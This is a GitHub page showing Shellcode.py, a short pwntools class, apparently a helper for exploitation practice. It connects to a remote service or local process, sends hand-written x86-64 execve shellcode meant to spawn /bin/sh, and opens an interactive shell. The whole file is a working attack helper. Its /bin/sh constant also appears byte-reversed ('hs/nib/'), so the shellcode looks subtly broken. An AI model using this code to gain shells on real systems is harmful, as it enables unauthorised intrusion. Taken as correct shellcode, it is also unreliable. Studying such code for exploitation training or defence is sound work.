-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathShellcode.py
More file actions
35 lines (28 loc) · 763 Bytes
/
Shellcode.py
File metadata and controls
35 lines (28 loc) · 763 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
class Shellcode:
def __init__(self, ip, port, filename, arch, os):
self.ip = ip
self.port = port
self.filename = filename
context.arch = arch
context.os = os
def openRemote(self):
self.p = remote(self.ip, self.port)
def openProcess(self):
self.p = process(self.filename)
def closeTube(self):
self.p.close()
def openShell(self):
shell_asm = ("""
mov rdi, 0x2f62696e2f7368
push rdi
push rsp
pop rdi
mov rax, 59
xor rsi, rsi
xor rdx, rdx
syscall
""")
raw_asm = asm(shell_asm)
self.p.sendline(raw_asm)
self.p.interactive()